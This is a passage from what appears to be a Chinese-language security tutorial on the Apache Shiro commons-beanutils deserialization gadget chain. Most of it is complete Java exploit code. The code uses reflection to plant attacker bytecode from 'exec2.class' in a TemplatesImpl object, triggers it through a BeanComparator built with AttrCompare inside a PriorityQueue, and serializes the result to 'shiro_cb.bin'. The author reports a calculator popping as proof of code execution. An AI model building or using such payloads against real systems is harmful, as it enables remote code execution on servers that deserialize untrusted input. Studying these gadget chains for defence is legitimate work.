看到了在实例化BeanComparator的时候,调用了这个类。继续向下看其实发现了还有一个构造器:
该构造器中传递了两个参数,第二个参数是Comparator,所以我们可以尝试自己传递一个Comparator
当然我们传递的这个Comparator,需要继承Comparator接口,同时还要继承Serializable接口!
随便找一个进行尝试:
AttrCompare这个类,看起来是满足的!所以我们尝试传递这个对象。
修改代码如下:
package org.y4y17;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;public class shiro_cb {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException, ClassNotFoundException {
// PersonBean personBean = new PersonBean("Y4y17",22);
// System.out.println(PropertyUtils.getProperty(personBean,"age"));
// System.out.println(PropertyUtils.getProperty(personBean,"name"));TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());byte[] code = Files.readAllBytes(Paths.get("exec2.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
// beanComparator.compare(templates,null);PriorityQueue priorityQueue = new PriorityQueue(beanComparator);priorityQueue.add(templates);Class<? extends PriorityQueue> aClass = priorityQueue.getClass();Field sizeFiled = aClass.getDeclaredField("size");sizeFiled.setAccessible(true);sizeFiled.set(priorityQueue,2);serialization(priorityQueue);
// deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("shiro_cb.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("shiro_cb.bin"));objectInputStream.readObject();objectInputStream.close();}
}
最终执行代码:
成功弹出计算器: